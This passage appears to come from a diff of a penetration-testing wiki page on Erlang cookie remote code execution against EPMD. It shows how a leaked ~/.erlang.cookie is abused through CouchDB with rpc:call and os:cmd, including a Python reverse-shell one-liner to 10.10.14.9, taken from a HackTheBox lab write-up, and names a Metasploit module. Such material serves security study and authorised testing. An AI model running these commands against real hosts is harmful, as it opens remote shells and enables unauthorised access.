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pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
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@ -46,6 +46,8 @@ PORT STATE SERVICE VERSION
### Erlang Cookie RCE
#### Remote Connection
If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z\] with a length of 20 characters.
```bash
@ -65,6 +67,21 @@ The author also share a program to brutforce the cookie:
{% file src="../.gitbook/assets/epmd\_bf-0.1.tar.bz2" %}
#### Local Connection
In this case we are going to abuse CouchDB to escalate privileges locally:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
#### Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce